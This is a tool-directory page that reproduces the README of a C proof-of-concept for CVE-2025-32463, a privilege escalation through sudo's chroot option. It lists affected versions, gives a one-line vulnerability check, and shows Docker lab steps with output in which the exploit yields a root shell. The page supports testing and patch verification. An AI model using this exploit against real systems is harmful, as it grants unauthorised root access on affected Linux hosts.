Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32463 — C reimplementation of chwoot PoC | Kitploit
Tools/GitHubGitHub/vpr-labs/cve-2025-32463
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingContainer EscapeBinary Exploitation
GitHubvpr-labs/cve-2025-32463

CVE-2025-32463

C reimplementation of chwoot PoC

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Heavily influenced/copied/based on the format of a similar repo by pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git This is a C reimplementation for rapid, single-source delivery, execution, and cleanup.

CVE-2025-32463 – sudo chroot ("chwoot") PoC

This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature.

  • This vulnerability is reported by Rich Mirch (@0xm1rch on X) @ Stratascale.
  • Original post: Vulnerability Advisory: Sudo chroot Elevation of Privilege
  • NVD: CVE-2025-32463 (CVSS 9.3)

Affected Versions

Vulnerable builds of sudo 1.9.14 up to 1.9.17 (all p‑revisions) on most Linux distributions are affected.

Security Pages

  • Ubuntu (CVSS 9.3)
  • Redhat (CVSS 7.8)
  • SUSE (CVSS 7.8)
  • Debian

Contents

FilePurpose
DockerfileBuilds an Ubuntu 24.04 image with vulnerable sudo 1.9.16p2 and build tools
sudo‑chwoot.shProof‑of‑concept exploit that spawns a root shell inside the chroot
run.shHelper script that builds the image (if needed) and launches the exploit container

Quick vulnerability check

root@kitploit:~
# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Test exploit in Docker container

root@kitploit:~
# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh passes --privileged and --rm to Docker so the container cleans itself up when you exit.


Clean Up

Remove the image when you’re done:

root@kitploit:~
docker rmi vpr-chwoot

Reference

  • Stratascale CRU vulnerability note: Vulnerability Advisory: Sudo chroot Elevation of Privilege
Download Tool